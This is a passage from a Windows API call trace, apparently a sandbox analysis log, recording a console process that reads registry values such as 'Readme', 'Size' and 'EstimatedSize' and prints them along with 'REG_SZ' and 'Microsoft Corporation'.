returned 0x1 [0147.809] lstrlenW (lpString="REG_SZ") returned 6 [0147.809] GetConsoleOutputCP () returned 0x1b5 [0147.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.809] GetConsoleOutputCP () returned 0x1b5 [0147.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.809] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.809] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.809] __iob_func () returned 0x7fefd702a80 [0147.809] _fileno (_File=0x7fefd702ab0) returned 1 [0147.810] _errno () returned 0xc4bb0 [0147.810] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.810] _errno () returned 0xc4bb0 [0147.810] GetFileType (hFile=0x50) returned 0x1 [0147.810] lstrlenW (lpString=" ") returned 4 [0147.810] GetConsoleOutputCP () returned 0x1b5 [0147.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.810] GetConsoleOutputCP () returned 0x1b5 [0147.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.810] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.810] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.810] __iob_func () returned 0x7fefd702a80 [0147.810] _fileno (_File=0x7fefd702ab0) returned 1 [0147.810] _errno () returned 0xc4bb0 [0147.810] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.810] _errno () returned 0xc4bb0 [0147.810] GetFileType (hFile=0x50) returned 0x1 [0147.810] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.810] GetConsoleOutputCP () returned 0x1b5 [0147.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.810] GetConsoleOutputCP () returned 0x1b5 [0147.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.811] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.811] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.811] __iob_func () returned 0x7fefd702a80 [0147.811] _fileno (_File=0x7fefd702ab0) returned 1 [0147.811] _errno () returned 0xc4bb0 [0147.811] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.811] _errno () returned 0xc4bb0 [0147.811] GetFileType (hFile=0x50) returned 0x1 [0147.811] lstrlenW (lpString="\n") returned 1 [0147.811] GetConsoleOutputCP () returned 0x1b5 [0147.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.811] GetConsoleOutputCP () returned 0x1b5 [0147.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.811] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.811] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.811] GetProcessHeap () returned 0x2e0000 [0147.811] GetProcessHeap () returned 0x2e0000 [0147.811] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.811] GetProcessHeap () returned 0x2e0000 [0147.811] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.811] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.811] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.811] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.812] GetProcessHeap () returned 0x2e0000 [0147.812] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.812] GetProcessHeap () returned 0x2e0000 [0147.812] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.812] GetProcessHeap () returned 0x2e0000 [0147.812] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.812] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.812] __iob_func () returned 0x7fefd702a80 [0147.812] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.812] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.812] _fileno (_File=0x7fefd702ab0) returned 1 [0147.812] _errno () returned 0xc4bb0 [0147.812] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.812] _errno () returned 0xc4bb0 [0147.812] GetFileType (hFile=0x50) returned 0x1 [0147.812] lstrlenW (lpString=" ") returned 4 [0147.812] GetConsoleOutputCP () returned 0x1b5 [0147.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.812] GetConsoleOutputCP () returned 0x1b5 [0147.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.812] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.812] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.812] lstrlenW (lpString="Readme") returned 6 [0147.812] __iob_func () returned 0x7fefd702a80 [0147.812] _fileno (_File=0x7fefd702ab0) returned 1 [0147.812] _errno () returned 0xc4bb0 [0147.812] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.812] _errno () returned 0xc4bb0 [0147.812] GetFileType (hFile=0x50) returned 0x1 [0147.813] lstrlenW (lpString="Readme") returned 6 [0147.813] GetConsoleOutputCP () returned 0x1b5 [0147.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.813] GetConsoleOutputCP () returned 0x1b5 [0147.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0147.813] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.813] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.813] __iob_func () returned 0x7fefd702a80 [0147.813] _fileno (_File=0x7fefd702ab0) returned 1 [0147.813] _errno () returned 0xc4bb0 [0147.813] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.813] _errno () returned 0xc4bb0 [0147.813] GetFileType (hFile=0x50) returned 0x1 [0147.813] lstrlenW (lpString=" ") returned 4 [0147.813] GetConsoleOutputCP () returned 0x1b5 [0147.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.813] GetConsoleOutputCP () returned 0x1b5 [0147.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.813] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.814] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.814] __iob_func () returned 0x7fefd702a80 [0147.814] _fileno (_File=0x7fefd702ab0) returned 1 [0147.814] _errno () returned 0xc4bb0 [0147.814] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.814] _errno () returned 0xc4bb0 [0147.814] GetFileType (hFile=0x50) returned 0x1 [0147.814] lstrlenW (lpString="REG_SZ") returned 6 [0147.814] GetConsoleOutputCP () returned 0x1b5 [0147.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.814] GetConsoleOutputCP () returned 0x1b5 [0147.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.814] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.814] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.814] __iob_func () returned 0x7fefd702a80 [0147.814] _fileno (_File=0x7fefd702ab0) returned 1 [0147.814] _errno () returned 0xc4bb0 [0147.814] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.814] _errno () returned 0xc4bb0 [0147.814] GetFileType (hFile=0x50) returned 0x1 [0147.814] lstrlenW (lpString=" ") returned 4 [0147.814] GetConsoleOutputCP () returned 0x1b5 [0147.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.815] GetConsoleOutputCP () returned 0x1b5 [0147.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.815] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.815] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.815] __iob_func () returned 0x7fefd702a80 [0147.815] _fileno (_File=0x7fefd702ab0) returned 1 [0147.815] _errno () returned 0xc4bb0 [0147.815] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.815] _errno () returned 0xc4bb0 [0147.815] GetFileType (hFile=0x50) returned 0x1 [0147.815] lstrlenW (lpString="") returned 0 [0147.815] __iob_func () returned 0x7fefd702a80 [0147.815] _fileno (_File=0x7fefd702ab0) returned 1 [0147.815] _errno () returned 0xc4bb0 [0147.815] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.815] _errno () returned 0xc4bb0 [0147.815] GetFileType (hFile=0x50) returned 0x1 [0147.815] lstrlenW (lpString="\n") returned 1 [0147.815] GetConsoleOutputCP () returned 0x1b5 [0147.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.815] GetConsoleOutputCP () returned 0x1b5 [0147.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.815] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.815] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.816] GetProcessHeap () returned 0x2e0000 [0147.816] GetProcessHeap () returned 0x2e0000 [0147.816] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.816] GetProcessHeap () returned 0x2e0000 [0147.816] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.816] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.816] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.816] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.816] GetProcessHeap () returned 0x2e0000 [0147.816] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.816] GetProcessHeap () returned 0x2e0000 [0147.816] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.816] GetProcessHeap () returned 0x2e0000 [0147.816] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.816] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.816] __iob_func () returned 0x7fefd702a80 [0147.816] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.816] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.816] _fileno (_File=0x7fefd702ab0) returned 1 [0147.816] _errno () returned 0xc4bb0 [0147.816] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.816] _errno () returned 0xc4bb0 [0147.816] GetFileType (hFile=0x50) returned 0x1 [0147.816] lstrlenW (lpString=" ") returned 4 [0147.816] GetConsoleOutputCP () returned 0x1b5 [0147.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.816] GetConsoleOutputCP () returned 0x1b5 [0147.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.817] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.817] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.817] lstrlenW (lpString="Size") returned 4 [0147.817] __iob_func () returned 0x7fefd702a80 [0147.817] _fileno (_File=0x7fefd702ab0) returned 1 [0147.817] _errno () returned 0xc4bb0 [0147.817] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.817] _errno () returned 0xc4bb0 [0147.817] GetFileType (hFile=0x50) returned 0x1 [0147.817] lstrlenW (lpString="Size") returned 4 [0147.817] GetConsoleOutputCP () returned 0x1b5 [0147.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.817] GetConsoleOutputCP () returned 0x1b5 [0147.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0147.817] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.817] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.817] __iob_func () returned 0x7fefd702a80 [0147.817] _fileno (_File=0x7fefd702ab0) returned 1 [0147.817] _errno () returned 0xc4bb0 [0147.818] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.818] _errno () returned 0xc4bb0 [0147.818] GetFileType (hFile=0x50) returned 0x1 [0147.818] lstrlenW (lpString=" ") returned 4 [0147.818] GetConsoleOutputCP () returned 0x1b5 [0147.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.818] GetConsoleOutputCP () returned 0x1b5 [0147.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.818] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.818] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.818] __iob_func () returned 0x7fefd702a80 [0147.818] _fileno (_File=0x7fefd702ab0) returned 1 [0147.818] _errno () returned 0xc4bb0 [0147.818] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.818] _errno () returned 0xc4bb0 [0147.818] GetFileType (hFile=0x50) returned 0x1 [0147.818] lstrlenW (lpString="REG_SZ") returned 6 [0147.818] GetConsoleOutputCP () returned 0x1b5 [0147.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.818] GetConsoleOutputCP () returned 0x1b5 [0147.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.819] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.819] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.819] __iob_func () returned 0x7fefd702a80 [0147.819] _fileno (_File=0x7fefd702ab0) returned 1 [0147.819] _errno () returned 0xc4bb0 [0147.819] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.819] _errno () returned 0xc4bb0 [0147.819] GetFileType (hFile=0x50) returned 0x1 [0147.819] lstrlenW (lpString=" ") returned 4 [0147.819] GetConsoleOutputCP () returned 0x1b5 [0147.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.819] GetConsoleOutputCP () returned 0x1b5 [0147.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.819] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.819] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.819] __iob_func () returned 0x7fefd702a80 [0147.819] _fileno (_File=0x7fefd702ab0) returned 1 [0147.819] _errno () returned 0xc4bb0 [0147.819] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.819] _errno () returned 0xc4bb0 [0147.819] GetFileType (hFile=0x50) returned 0x1 [0147.819] lstrlenW (lpString="") returned 0 [0147.819] __iob_func () returned 0x7fefd702a80 [0147.819] _fileno (_File=0x7fefd702ab0) returned 1 [0147.819] _errno () returned 0xc4bb0 [0147.819] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.820] _errno () returned 0xc4bb0 [0147.820] GetFileType (hFile=0x50) returned 0x1 [0147.820] lstrlenW (lpString="\n") returned 1 [0147.820] GetConsoleOutputCP () returned 0x1b5 [0147.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.820] GetConsoleOutputCP () returned 0x1b5 [0147.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.820] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.820] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.820] GetProcessHeap () returned 0x2e0000 [0147.820] GetProcessHeap () returned 0x2e0000 [0147.820] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.820] GetProcessHeap () returned 0x2e0000 [0147.820] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.820] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.820] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.820] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.820] GetProcessHeap () returned 0x2e0000 [0147.820] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.820] GetProcessHeap () returned 0x2e0000 [0147.820] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.820] GetProcessHeap () returned 0x2e0000 [0147.820] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.820] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x30, pcbData=0x23f670*=0x4) returned 0x0 [0147.820] __iob_func () returned 0x7fefd702a80 [0147.821] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.821] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.821] _fileno (_File=0x7fefd702ab0) returned 1 [0147.821] _errno () returned 0xc4bb0 [0147.821] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.821] _errno () returned 0xc4bb0 [0147.821] GetFileType (hFile=0x50) returned 0x1 [0147.821] lstrlenW (lpString=" ") returned 4 [0147.821] GetConsoleOutputCP () returned 0x1b5 [0147.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.821] GetConsoleOutputCP () returned 0x1b5 [0147.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.821] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.821] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.821] lstrlenW (lpString="EstimatedSize") returned 13 [0147.821] __iob_func () returned 0x7fefd702a80 [0147.821] _fileno (_File=0x7fefd702ab0) returned 1 [0147.821] _errno () returned 0xc4bb0 [0147.821] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.821] _errno () returned 0xc4bb0 [0147.821] GetFileType (hFile=0x50) returned 0x1 [0147.821] lstrlenW (lpString="EstimatedSize") returned 13 [0147.821] GetConsoleOutputCP () returned 0x1b5 [0147.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.822] 